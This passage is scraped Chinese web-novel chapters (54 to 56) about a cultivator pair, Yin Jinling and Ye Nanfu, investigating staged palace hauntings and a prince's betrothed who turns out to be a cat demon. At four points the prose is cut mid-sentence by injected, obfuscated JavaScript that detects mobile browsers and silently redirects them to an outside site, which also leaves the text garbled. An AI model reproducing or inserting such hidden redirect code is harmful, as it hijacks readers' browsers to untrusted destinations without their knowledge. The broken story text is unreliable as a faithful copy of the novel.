镜子里的少女明眸秀眉,一头青丝梳得相当妥帖,除了额前还留了些之外,其余碎发尽数理得整整齐齐,盘在发髻上,相较于她往日松垮垮的发髻,更添了几分精气神。她用了晃了晃头,簪子上的两枚珠玉发出的叮当轻响。 这时一把椅子放到了她身旁,她转首看过去,叶南扶也正看着她,见她瞧了过来,连忙埋下头去摆放椅子。她也不声不响地赶紧将铜镜塞回了袖子里,虽然她也不明白自己究竟在心虚些什么。 叶南扶坐了下来,不是他惯常那些东倒西歪的姿势,也不算正襟危坐,只是如她一般,普通的坐着而已。 待他坐下之后,两人便又自然而然陷入了漫长的沉默,不过奇异的是,这静默并未使她觉得尴尬,准确来说自方才放松下来以后,就没再见尴尬症出来冒头了,教她一度怀疑这纠缠她多年的病是不是不药而愈了。 又过了一会,似乎是终于斟酌好了词句,他开了口。 “我是随的母姓,我的母亲原本来自魔界三大家族之一的血麒麟族。” 殷烬翎敏锐地捕捉到了一个词:“原本?” “嗯。”叶南扶垂下眼眸应了声,“因为她早已被逐出家族了。” “她……耳根太软了,一向不会拒绝人,没禁住对方苦苦哀求,放走了一个族长下令严加看管的要犯。”叶南扶垂眼盯着自己鞋尖,缓缓道,“族长一怒之下便将我母亲逐出了家族。” “我们那儿,被三大家族驱逐除名的人称作弃子,弃子境遇悲惨异常。”他接着道,“弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185875|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子失去了家族的庇佑,往日遭三大家族欺凌压迫的小族都会来找麻烦,更有甚者还会沦落进黑市交易里,弃子可算得上是魔界最为底层之人了。母亲她自小在修行一途上便没什么天分,修为灵力都较为平庸,若不是被父亲所救,安置在了血月谷,她恐怕很难生存下来。” “那他们如今……”殷烬翎一问出口便有些后悔了,叶南扶独自一人意外来到了往生界,却从未提起过他们会担心之类的话,显然…… “已经不在了。父亲我记事起从未见过,母亲也在我年少时便过世了。” 他忽然顿了顿,语气变得有些低沉,隐隐含有几分难以察觉的冰冷:“她过世前,才同我说起,当年放走的那个犯人,是她的亲姐姐,她姐姐自小天赋异禀,母亲一向对其分外崇拜,故而当年之事她一点也不怨,不光如此,她还要我也莫生怨怼,所以才给我起名为叶恕。” “但是,怎么可能不怨,且不说母亲本就是代其受过,她这位姐姐既然修为如此过人,在她被逐出家族,失魂落魄人人可欺之时,为何从未帮忙提携过一次,这许多年又为何从未想过来看看她,若不是侥幸遇上父亲,她焉能活下来对我说出这番话?” 他闭了眼,脑中有个轻柔的声音一直在唤他,断断续续、气若游丝,却强打精神,一直努力说着。 阿恕,阿恕,不要怪她,是我自愿的放走她的……一切都是我自愿的,怨不了别人…… 他深深叹了一口气,用力挥去这些扰乱心绪的声音。 “所以,在她过世之后,我私自将名字改为了叶述。” 似乎意识到自己方才有所失态,他又垂下了眸子,轻轻道了句:“抱歉,不小心说多了。” 殷烬翎摇摇头:“无妨。” 她看得出,这些事恐怕闷在他心里很久了,大约从未对人说起过。她为自己能听到他这番话庆幸的同时,不由也生出些许怅然来。 他从前都没有可以说这些话的朋友嘛?他活了两万岁,最后却只能与一个认识才不过数月的人说道心事,他该有多孤独。 她不敢想下去,便开口缓和气氛:“我其实有点羡慕,你年少时至少还有娘亲陪伴,我却是从未见过我的爹娘。” 闻言,原本垂着眼的叶南扶蓦地望了过来,目光定凝在她脸上。 她被看得有些不大舒服,想着他情绪不大好便也没提出来,只微微错开了视线,接着道:“我自小是师门养大的。” “听我师父说,有一年春日,他下山时见一个布包被放在了清霄山下,里头裹着一个正啼哭的半大女婴,没有任何辨识身份的物什,仅有一个匆忙塞着的字条,上边写着‘殷梨,表字烬翎’,想来是已取好了名。他便捡了回去收作徒弟,悉心教养大了,就成了今日的我。” 叶南扶听罢皱了皱眉,道:“你对这之前的事,都没什么印象吗?” 54. 第 54 章 殷烬翎摇了摇头:“我被丢在清霄山时还那么小,即便见过爹娘,又能留下什么印象。” 她觉得他问得有些傻,又道:“想来是哪家穷苦人,养不起孩子,便扔在了山门口,指望着被哪位仙人捡回去好有条活路,这世道多得是这般老套的故事。” 叶南扶不再说话了,却还盯着她瞧。 “不过我曾经会有点好奇,因为‘烬翎’二字并不是什么常规用字,我爹娘既然写了这纸条,显然是识文断字的,且还识得不少,即便穷困潦倒,大抵也是个书生或教书先生之类的,况且一般女子的表字都会在十五及笄之后再取,为何这么小便定下了,是有什么寓意,非取这个表字不可嘛?后来琢磨了那么多年也没能想出个所以然,便放弃思考了,反正叫什么生活还不照样过。” 叶南扶低低地“嗯”了一声。 殷烬翎突然觉得不太对,老哥才说了自己因为不愿宽恕而私自改了名的事,她这厢来了句“反正叫什么生活还不照样过”的话,似乎……有些不妥? “那个,我没有这意……” 她的“思”字还没出口,叶南扶忽然低头笑出了声:“我知道。” 殷烬翎觉得他今天笑得有点多,他以往都只会慢悠悠地说些风凉话,不然就是转瞬间兀自冷漠起来,即便笑也是嗤笑嘲笑居多,倒是甚少见到他这般模样,而且由于挨得近,笑起来的时候还能听见自他喉咙里传来的低低震动,令她耳朵微微有些发痒,经不住想去揉。 她伸手去摸了摸梳得齐整的发髻,微微有些遗憾道:“只可惜现下天色已不早了,再有一个多时辰就得拆掉洗漱了……” 叶南扶嘴唇动了动,眼神迅速地躲闪开去,过了片刻,只听他轻声道:“明日……也……” “明日早上,可以……来找你嘛?” 殷烬翎话一出口便觉得自己是不是有些浪过头了,趁着尴尬症偃旗息鼓之际,不但在病魔头上踹了两脚,甚至还跳了一段安塞腰鼓舞。 叶南扶眼睛瞟着他处,幅度极小地点了点头。 又稍许聊了一会,晚膳便送来了,待用了晚膳,两人都起身回房。 “老哥。”临进门前,殷烬翎停下来唤了声。 叶南扶回头。 “明早,可不能赖床了。”她说着,颊边又隐隐有些发烫的迹象。 他又笑了,唇角微翘,眼尾稍弯。她数不清这是他今天第几次笑,早已放弃了计数。 “好。”他道。 - 好什么好,都是花言巧语,就不该信男人的嘴。殷烬翎暗想。 此时已经辰时了。 原本约定好了早起,她满心以为自己洗漱更衣完了,开门就能见到叶南扶拿着个梳子搬好了椅子就等着她坐过来,谁知一看,外头全无动静,再一敲叶南扶的房门,无人响应,她便推门进去一瞧,嗬,帷帐好好地放着,将床遮得严严实实,人估摸着还在床上跟周公一同吃零嘴呢。 她钻进帷帐里,照着铺盖狠狠推了两下,整个儿缩在被子里的人发出了两声意味不明的哼唧声,随后再次没了动静。 殷烬翎深刻反思自己,昨日怎么就信了老哥的邪,觉得他舍得放弃冬日里这温暖的被窝而早起呢? 她冷笑一声,抬手掀开帘子便打算出去,却听得身后传来窸窸窣窣的被子摩擦声,回过头一看,只见被子中冒了两只眼睛出来,乍一见到亮光,先是惺忪地眯了两下,接着用力睁大了些,看着她。 黑色的眸子望着她眨了两下,随后被子里传来闷闷的声音:“等我一下。” 她瞧着忽然就有些想笑,心下便也不那么气恼了,只是依旧冷着脸,也不出声,径自钻出了帷帐,去了外间。 不多时,叶南扶便洗漱穿戴好出来了,手上拿个木梳,很自觉地来到了殷烬翎所坐的椅子后边。 尽管有了昨日的经验,但当他手下撩起她发丝的时候,殷烬翎还是忍不住微微颤了颤,连忙念起了枯燥的经文法诀进行自我催眠,毕竟她确实是很馋叶南扶梳的这个好看又牢固的髻,只能努力忍一忍了。 又在沉默之中梳完了一次发髻,她碰了碰自己又快被朝霞染上色的脸,欲盖弥彰地拿了袖子掩着,赶忙扯着叶南扶出了门。 按计划,她今日要去三七五七出事的那两处地方看一看。 太后丧期内,头七皇帝噩梦,三七宫墙鬼影,五七竹林还魂,七七乌鸟撞柱、白烛炸焰,百日群乌啼鸣、鼎中溢血,这过程中,由于阴阳罗盘一直未有出现较大的偏移,故而人为的可能相当之大。 三七出事之地与后来的七七相同,都是那个摆设灵堂的宫殿,不同之处在于,七七是在仪式举行当时出现了变故,是发生在大殿内的,而三七却是当夜祭奠完之后,一队收拾祭祀用品的宫女在宫殿外墙处见到了一个黑色人影。同样的,五七也是出了殡葬入皇陵之后,才有宫人在竹林里见到太后的身影。 “三七五七都是在事情结束之后,实际上对于仪式并无妨碍;而七七和百日却都是在祭祀当时陡生变故,且直接导致了祭祀中断,以及都出现了乌鸦这个极具象征性的事物,这也是三七五七所不具备的。”殷烬翎又一如既往,开始边走边自顾自絮絮叨叨地说着,“我觉得,这几件神诡之事彼此间有很大区别,不像是同一人所为。” 说话间,两人已到了那处宫殿外边,殷烬翎随手拦了一名宫女:“姑娘,借问下,那夜的宫墙人影是在何处见到的?” 宫女闻言有些愣愣的,却也没忘了向两人行礼,犹疑道:“道长问的是……?” 殷烬翎见状也有些疑惑,补充道:“就是三七那夜,据闻一队宫女见到了宫墙上一个黑色人影,你可知情?” 宫女双眼蓦地一睁,脸色骤变,连忙抬手捂住了嘴。 看样子是知道的。 殷烬翎微微向前走了一小步,想靠的近些说话,谁知宫女吓得连连退了一大截,使劲摇着头:“道长,道长就别问奴婢了……陛,陛下不让奴婢们乱说……” 殷烬翎抬手设了个结界,道:“这样无人会知晓。” 宫女依旧摇头,哆哆嗦嗦。 “别害怕,即便有事,我会替你求情,陛下卖仙家几分面子,不会责罚于你的。” 殷烬翎又软着语气劝了好些,奈何宫女始终低着头,一言不发。 她回身,朝后边靠着墙的叶南扶摊摊手,示意自己无计可施了。 叶南扶瞥她一眼,直起身来,上前两步来到宫女面前,语气轻松道:“行吧,不说就不说,你叫什么名字?” 宫女肉眼可见地松了口气:“奴婢青儿。” 然而叶南扶的下一句紧接着而来:“不说也无妨,但是我们可不会就此罢休,我还会找其他宫人询问的,届时我会同那宫人说——” 他微微倾身凑得近些,压低了声音。 “‘事情暴露也没关系,我会向陛下禀明,这都是青儿供出来的,与你无关。’” 说完他退后两步,拍了拍衣袖,慢条斯理道:“至于松不松口便是她的事了。” 他刚刚转过身,青儿便在身后“啪”一下跪倒在地,惶恐地涕泣出声:“我说,我说……” 魔鬼。 太过分了,这个人是魔鬼吧?虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198804|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然结果是达成了……这人上次逼问宫女妖蛊案一事,怕也是把人吓得这般痛哭流涕。 殷烬翎看着地上瑟瑟发抖着哭泣的青儿,于心不忍地上前将她扶了起来。 好容易止住了哭,青儿这才抽抽噎噎地道来。 “道长方才问的宫墙鬼影奴婢并不清楚,但若说三七那晚发生的事倒是知道一些,因为当夜,奴婢也在那一队宫女之中。那夜祭祀结束,收拾了场地,奴婢与几位姐妹留到最晚,各自拿着些用具便往灵堂外头走,刚走出殿门大约四五丈远。” 青儿说着抬头看了看宫墙和墙里边的大殿,指着墙里面一株露着个树冠的树道:“大概就那个位置,当时走到那儿,旁边的人忽然拿手肘捅捅我,叫我看那棵树,我一抬头便见到……” 她语气恐慌了起来,仿佛想起了那晚的场景:“那树上有件长长的宫袍,瞧着像是太后往日穿过的,而且……明明没有风,却见那衣裳和树枝一直不停地在晃动……” “我们几个当场便吓得叫了出来,抱作了一团,没敢再去看,也不知那衣裳是何时消失的,就一直瑟缩在原处。夜里负责留守灵堂的便是我们,这片地方也没别的人了,至多殿内还留了两三个,听见了惨叫声也没敢出来,又过了一会,有公公来了,许是附近有人听见了,前去报信,尔后便将夜里守灵堂的所有人都带去见了陛下,陛下询问了情况后便警告奴婢们,此事绝不可外传,若听见宫里哪怕一点许风声,便惟我等是问,因而,因而一开始奴婢不敢……” 殷烬翎摸着下巴思索,等到青儿说完了,便问:“你们确信并未传出任何消息?” 青儿忙不迭地点头:“只有今日与二位道长说过,几位姐妹们日日都在一处,应当也是不曾向外透露过的,起码时至今日宫里也没传出过什么,不然奴婢们早该被陛下问责了。” 殷烬翎点点头,又问道:“那日你们收拾完场地,是否有较为明亮的宫灯或是特别的照明之物被撤了下来?” “道长怎么知道?”青儿有些讶异道,“确实原本灵堂外横梁上挂有一盏巨大的‘奠’字宫灯,也不知里头是些什么构造,显得分外明亮,但那晚正当收拾之时,有只猫窜上了横梁闹腾,宫灯也被这东西弄得歪歪扭扭,不得已便将其先撤了下来。” “多谢,暂时没别的事了。”殷烬翎挥袖扯了结界,“你去忙吧。” 青儿并不移步,只期期艾艾地看着殷烬翎。 “我会保守好此事的,别太担心了。”殷烬翎温声道。 青儿点了点头,这才离去了。 殷烬翎叹了口气,回身看向叶南扶,无奈地笑:“你也未免太凶了点,看把人小姑娘给吓得。” “不这样,你劝上一整日也不定问得出来。”叶南扶依旧没骨头似的靠着墙,懒洋洋道。 “我知道,所以我也并未阻拦你。” 他是知道我一向做不来恶人,便直接包揽下来了是嘛?想不到这老哥倒还算善解人意。 殷烬翎不由多看了叶南扶几眼,难得觉得他这副惫懒的模样也挺顺眼的。 殷烬翎往前走了几步,来到那棵树正对的宫墙外,此处与邻接的院落刚好形成了一个隐蔽的角落。 叶南扶靠在原处没动,半抬着眼淡淡地瞧着她的动作,道:“还去么?” 殷烬翎回身,嘴角微微上扬,露出了一个拨云见日般的明朗笑容。 “自然是不去了。” 叶南扶站直了身子,冲一边的道路扬了扬头:“那走吧。” 殷烬翎快走几步上前,与叶南扶并排走。 直接去东宫就可以了。 55. 第 55 章 二人来到东宫门前,请了守卫代为通传,便候在了门口。 殷烬翎偶一抬眼,便见宫墙顶上立着一只通体乌黑的猫,一动不动,仿佛朱瓦上摆着一尊雕像,幽绿的眼眸正直直地向她看来。 她挑了挑眉,也毫不客气地回望了过去,目露挑衅之色,与黑猫隔空对视。 良久,她掀着嘴角轻笑一声:“小别致长得真东西。” 黑猫:“……” 忽然间黑猫身形一闪,消失在了隆起的朱瓦后面,与此同时宫门内响起了急促的脚步声,太子带着方才进去通报的守卫匆匆赶来。 见了两人,太子忙行了礼:“让二位道长久等了,请随我来吧。” 回过礼后,两人便随太子一同进了他的书房,屏退左右后,太子急忙问:“可是有何进展?” 殷烬翎轻轻地摇头。 太子显见地有些失落,头垂低了些,肩也略微垮了下去。 “那日在下便说过,此事既应承了殿下,便定会给出一个结果,前提是,殿下莫要有所隐瞒。” 太子的肩头蓦地一颤,仰头强扯起一抹笑:“殷道长此言何意?” 殷烬翎似笑非笑地盯着太子:“何须问,殿下心里怕是再清楚不过了。” “道长,我、我还另有公务在身,多有怠慢,望道长见谅。”太子说着立马起身,草草一礼便匆忙往门口走去。 殷烬翎不慌不忙,扬声道:“殿下可知,根本没有什么宫墙鬼影。” 太子正要推门的手一顿,疑惑地看了过来。 “在下问了那夜的宫女,她说只见到树上挂着件飘动的衣裳。”殷烬翎慢慢站起来,冲太子一笑,“宫墙鬼影,那只是殿下原先设想好的吧。” “许是……许是流言传得出错了……”太子面朝着门说着,不敢朝她看来。 “殿下其实根本没去打听过关于此事的流言吧,不然如何会不知道陛下当夜就封锁了消息呢?” 太子僵立着不动了,再没说出话来。 “殿下原先是想闹一出宫墙鬼影的戏码,便趁着夜深人稀之时,躲在宫墙外的角落里,借着夜色与树影的遮挡,算好时机,用根细绳吊了件太后的衣裳进去,衣裳被挂在殿外横梁上的巨大宫灯一照,就能在宫墙上投下个黑色的人影来。” “然而殿下并不知道,那宫灯被临时撤了下来,使得宫女们瞧见了衣裳本体,但因其来路古怪,还是令她们骇得叫出了声来,此时墙另一头,殿下听闻宫女惨叫,以为成功了,便将绳子拉了回去,离开那里处理了证物。” “事后殿下想必觉得流言已然传开,便在那日同我等说了此事,然而实际上那队宫女当夜即被陛下传唤了去,半点风声都没能传开来,我等也是花了好一番功夫方才问出来,殿下不若叫个小厮进来问问,看看他可知晓三七那夜出了何事。” 太子按在门框上的手慢慢垂了下来,他转身慢慢拖着步子踱回原位坐下,低埋着头,像被缝了嘴似的久久不发一言。 殷烬翎瞧着太子蔫头耷脑的模样,竟莫名地生出些自己欺负了小朋友的罪恶感来,她稍微放柔了语调,道:“殿下做这些,是为了那位黎小姐吧?” 太子倏地抬起头来,目光炯炯地看向她,眼里巨大的欣喜在跃动:“道长有办法救她吗?” “殿下且先说说黎小姐究竟出了何事,在下才可思考解救之法,只是这次真的不可再有隐瞒了。” “那是自然,那是自然。”太子连声应道。 “我记得很清楚,那日是五月初五,当时皇祖母病倒已有一月了,那段时日落儿隔三差五地进宫来看望皇祖母。” “我知道皇祖母素来不大中意落儿当选太子妃,她原本更属意她的侄孙女,也就是如今的襄王妃,可禁不住阿预的连番央求,还是将姬家小姐赐婚给了他。看好的自家小辈没能当上太子妃,这点不如意便都撒在了落儿身上,认为她德不配位,对她分外苛责,落儿便想着在皇祖母卧病期间,去她床前尽尽孝,好让皇祖母转变些看法。” “对于落儿的前来,皇祖母却并不领情,仍旧对她颇多挑剔,不然就是三言两语将她打发走,这时她便会上东宫来,若我事务不忙,就与我诉诉苦,但是诉完了第二日依旧会去慈宁宫,令我很是心疼,却又束手无策。” “出事那日我在父皇那里议事,待回到东宫时已经乱套了,立刻有宫人上来禀报,说落儿失踪了。我带了人,将东宫每一寸土地都细细翻过一遍,又去了黎相府上,尔后扩大到整个皇城,乃至全江宁城,始终没有半点消息,一个人就这般在青天白日下凭空消失,生不见人,死不见尸。” “那一个多月,我日日辗转难眠,即便侥幸闭了眼,噩梦也会铺天盖地连番向我袭来,甚至白日里也时常会隐约见到落儿陷入贼人之手,正朝我凄声呼救,责怪我为何不来救她,声声摧人心肝。我亦知晓,这段时日来执迷不悟,一意孤行,父皇母后以及皇祖母都对我失望之极,然而我一点也不想管。” “我只知道,天塌了,太子,储君,皇位,又算个什么东西。” 说到此处,太子凄然一笑:“道长是不是也觉得,我这般耽于私情之人着实当不起大乘储君。” “在下毕竟是仙道世外之人,不通政事,也没立场指责殿下什么的。”殷烬翎淡淡道,“在我看来,殿下虽生于天家,却用情极深,已属难得。” 太子苦笑着摇摇头,并不接话。 殷烬翎追问:“那后来呢?” “后来,或许是白仙垂怜,一日心力交瘁,伏在案头睡了过去,醒来时面前坐了只黑猫,我一时起意,伸手逗着它,随口问‘我何时才能找回落儿’,黑猫却忽然口吐人言,道,她便是落儿。” “我起初自是不信的,还道是眼前又出现了幻象,可她一直没再离开,说的话又确是落儿的声音没错,我便开始动摇。” “她告诉我,她也不知发生了何事,醒来便成了这副模样,一直不敢来见我,怕被我当作妖孽,大乘如此憎恶妖物邪祟,若被人知晓,只怕会不论青红皂白当场将其诛杀,如此躲藏了一月余,见我实在过于悲痛憔悴,这才冒险前来。” “寻回落儿虽令我稍振作了些,但摆在我面前的又是另一个困境,落儿显然是遭人暗害才会成了这般模样,我要如何帮她恢复人身。此事自然须得求助于仙道,但落儿如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210901|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的状况绝不可令外人知晓,故而不可明目张胆地去仙愿榜上发布相关事宜,即便发些不相干的心愿,身为储君也难免遭人窥探,而私下寻仙人又全无渠道,正在为此苦恼之际,我偶然发现了一桩事。” “因我的寝宫平日人多眼杂,落儿不便多留,她以往在东宫有个歇息的院落,那日便是在此失踪的,事发后不久我便封锁了院落,所以那里如今人迹罕至,此处正是落儿藏身的好去处。我原想着收拾下地方,却骤然在床下一处隐蔽的角落里发现了一样东西。” “一个木偶,约莫巴掌大小,长得狰狞可怖,上边歪歪扭扭地用刀刻着落儿的名字。” “这让我想起来不少事,当年牵出妖蛊风波的,也正是这样一个木偶,是在父皇的房里发现的,而那时各地天灾连连,父皇一场风寒迁延了七八月,甚至一度恶化。如今在此处再度发现木偶,落儿又刚好遭遇了迫害,这必是妖蛊的手段无疑。” “此事令我不禁疑心起了此前一直对落儿颇多不满的皇祖母,于是在皇祖母过世之后,我便借着去看遗物的收拾情况,伺机调查了一番她的房间,接下来便如那日与道长所讲的,发现了玉枕底下封存的诡异画作,这使我心中的怀疑更添一层。” “不,应当说,在那以后,我已经确信了落儿之事就是皇祖母所为。” “之后的事,道长都已知晓,我做了那些装神弄鬼之事,好让父皇设法找寻仙家,我也因此得以见到二位道长。” 殷烬翎缓缓点了点头,问:“那个木偶如今在何处?” 太子皱了眉:“那东西忒地邪门,我不敢多留着,早早便一把火烧了干净。” 殷烬翎有些遗憾,不过就太子的立场确实该是这般做法,便也不再提了,转而道:“殿下发现太后房里的画卷后,可有取走?” “不曾。”太子忽又想起什么,睁大了眼,“道长莫非在怀疑,昨日祭天台上之事,也是我所为?” 随即,不等殷烬翎开口,太子登时便从座上站了起来,急忙道:“那事与我毫无关系,画卷我看过便放回原处了,祭台则更是不曾去过,再说我都已见到了道长,何必还要再做下这些?” “殿下……” “不光如此,七七那事儿也不是我做的,我也不知白烛为何会突然炸裂,哦,对了,昨日鼎中那人,不是说是个做蜡烛的吗,肯定就是他做的!” 殷烬翎无奈苦笑,好不容易才得以插话:“殿下莫急,并无怀疑殿下之意,七七那事,在下早便知晓并非殿下所为,由于陛下发布榜首心愿是在七七之前,故那时殿下目的已经达到,只需静待仙家到来,自然不必再生事。在下只是想弄清画卷是何时丢失的,故而有此一问。” 太子稍稍冷静了些,坐了下来,道:“我是在皇祖母头七后不久去的慈宁宫,当时画卷还在,我就拿出来瞧了瞧,又放回去了,之后再没去过。” 说罢,又恳求地看向殷烬翎:“我对道长已经毫无保留了,不知可否去看看落儿?” 殷烬翎颔首道:“殿下带路吧。” 太子顿时大喜过望,当先推门出去,殷烬翎连忙将一直在坐着摸鱼的叶南扶拉起来,跟上太子。 56. 第 56 章 太子领着二人来到那处封锁的院落,正是先前单独召见叶南扶之处,太子一边开着院门的锁,一边道:“此处院门平日里都锁着,落儿不需经过院门,直接从墙头翻过去就是了。” 推开院门,已长出许多荒草的院子里静静立着一只黑猫,一动不动地注视着他们。 太子唤了声“落儿”便上前几步,张开手臂,黑猫跃起扑进他怀里,他亲昵地搂着黑猫,揉揉黑猫的脑袋,轻声道:“落儿莫怕,这二位是仙门的道长,是来帮你恢复人身的。” 黑猫倚在他怀里,耳朵随着他的抚摸一动一动的,只是在他看不见之处,黑猫的视线正穿过他肩臂间的空隙直直地盯着殷烬翎。 殷烬翎挑了挑眉,什么也没说。 倒是叶南扶望着太子手下的黑猫,微微有些出神。 太子安抚着猫,一边转过身朝两人道:“这便是落儿,道长看看可有法子。” 殷烬翎低下头,看着窝在太子怀中微微有些瑟缩的黑猫,黑猫也扬起了头,绿莹莹的眼瞳凝望着她,须臾,轻轻地“喵”了一声。 殷烬翎看了片刻,抬头对太子道:“先进屋再说吧。” 太子这才如梦初醒,懊恼地拍拍头道:“看我这给急得,二位道长还站在院子里就想着给落儿瞧瞧,实在抱歉,请随我进屋吧。” 进了屋子,黑猫从太子怀里跳了出来,立在了桌案上。 殷烬翎坐到了黑猫对面,扬首对一边目不转睛焦急盯着的太子道:“还要麻烦殿下回避一下。” “啊?”太子显然没料到这个,一时有些惊愕。 “殿下留在此处会影响在下施法。” “哦哦,好,我这便出去。”太子立马连声应道,忙不迭地出去了。 殷烬翎目送着他出了门,又挥手给屋子设了个结界,这才转向黑猫,道:“好了,都按你说的做了。” “多谢道长。”黑猫开口,是一个明净的女声,音色如同澄澈的山泉与林间的清风,甚是悦耳。 方才在院子里时,黑猫那一声叫唤,实际是一道密语,传到殷烬翎耳中便成了“道长可否先莫揭穿我,设法支开太子殿下后,我定会将所有事如实相告”。 殷烬翎撑着头,另只手伸着一根手指去戳黑猫的尾巴尖,一边道:“一个小妖,修为都还难以保持人形,不在妖界好好待着,这么急着跑来混人界作甚?” 黑猫尾巴往后躲了躲,颇有些惭愧地低下了头:“我原本已修出了人形,只是这些年贪玩,一直没回去闭关巩固修为,人界天地灵气又稀少,待得久了,自然就倒退了。” “那真正的黎落呢?” “从来都没有真正的黎落,一直是我。”黑猫道,“我真名唤作梨落,梨花的梨,落叶的落,如道长所见,是一只猫妖。” 殷烬翎轻声笑了笑:“倒是与我名中有个字相同,也算有缘吧。我叫殷梨。” “殷道长。”黑猫低了下头,算是颔首行礼,尔后又转向叶南扶那侧。 叶南扶背靠在椅子上,眼半阖,将欲寐,见黑猫看了过来,只微微抬了下眼皮。 “这位道长我曾见过的。” 嗯?这是什么搭讪通用语句?要是想借此跟我们套点近乎那你可想错了,老哥此人惫懒成性,莫说是接话了,很可能连个眼神也懒得回…… “嗯,确实见过。”叶南扶点头。 殷烬翎:“?” 殷烬翎:“不是,你们啥时候见过?” “就在太子单独召见我那次。” 叶南扶说着稍稍伸了个懒腰,直起了身子:“当时她站在这屋顶上,我瞧出来是只小猫妖,但显然修为太低了,应该没能耐在你那两师兄眼皮底下搞出事情来,就没管。” 黑猫却颇有些讶然:“道长那时便瞧出我身份了?”言罢,又垂下头,自嘲道:“也是,我还当自己能瞒天过海呢。只是道长为何毫无灵力?” 殷烬翎反应过来:“所以,那日东宫殿门上的试灵石,是你给太子的?” 黑猫点头:“我也是从前偶然得来的。” “那你是如何会成了黎相府上的小姐?” 黑猫沉默了半会,道:“我给道长讲讲我的过往吧。” - 洞府前有棵梨树,春日一到,山风便吹落无数白色的雪片,铺满洞前的山道,飘在身上时,便如同用笔在漆黑的夜幕上点亮一颗又一颗的星子,给我染上几簇纯白无瑕的雪色。 我喜欢这个颜色,所以给自己取名叫梨落。 山里的修行实在是过分枯燥的一件事,平日几乎见不到同类,只偶尔有几个未开灵智的山猫野兔之类带着些果子前来供奉,小心翼翼地放下贡品就跑开了,根本难以交流。 于是等到修出人形的那日,我便迫不及待地下山去了人界。在人界最繁华的帝京——江宁城里稍稍转了转,我用原形潜进了一户显贵人家,本是想着瞧瞧人间的世家大族开开眼界,却见一钗横鬓乱的憔悴女人正抱着个襁褓哀声恸哭,原来这家的夫人刚产下数日的女婴死了,而这女婴名字与我刚巧音同,也唤黎落。 我相信这冥冥之中定有什么天意,不然为何世事竟巧成这般地步。 您说我李代桃僵?嗯,确实如此,总之我就这样成为了黎府的嫡小姐。 再后来,慢慢长大,在正当好的年华里,遇见了太子殿下谢颐,我对他暗生情愫,他亦对我念念不忘,他与我说,定要娶我做他的太子妃。 然而,也不知是何故,太后始终对我不冷不热,尽管殿下在其面前再三美言,依旧无济于事,令我几乎一度疑心她是否发现了我的真身。 我想着,既然要嫁与殿下,太后身为殿下的祖母,按人族的规矩来说,自然也是我需孝敬的长辈。于是在太后病倒后,我便常常前去侍奉,企盼着能令她有所改观。 五月初五那日,我照例去慈宁宫见太后,那日正是端午,是妖类灵力最为薄弱的一日,许是见我脸色不佳,太后早早便打发我去休息,我觉得今日不太妙,恐来不及出宫,便去了东宫,当时灵力已然衰微,几乎要维持不住人形,宫女见我身体不适,上来扶我去了往日小憩的那间院落,待宫女走后,我紧绷的神经骤然一松,支撑不住变回了原形,藏到了角落里。 我无故失踪的消息一出,东宫自然乱作了一团,殿下更是发了疯似的寻我。我静静瞧着这些,不敢妄动,心里直想着,过了今日便好,待明日灵力恢复,又能重新出现在殿下面前,届时同他含混几句再撒个娇,事情就都能过去,一切又会回到从前的安稳平静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他自然是火急火燎地想替我寻遍四海道门,召集八方仙士,可我区区小妖又怎敢面对仙家,不得被揭穿当场?我只好藏着心思,用“不可如此声张,怕被当作邪祟”以及“储君须多加谨言慎行”等理由劝了他几回,他许是也想通了,觉得确实有些不妥,便没再提起。 然而过了几日,我竟发现他打算在太后几个祭日上用些装神弄鬼的手段,好叫陛下前去求助仙家,自己便也能借个东风。我自然不敢让他当真找来仙人,便在三七那日抢在他前头踢歪了宫灯,好让宫人瞧不见他弄出的鬼影,可阴差阳错,三七之事还是没能阻止,五七我也去了,但这种时候,一只猫的力量终究有限,他最后如愿找来了仙家。 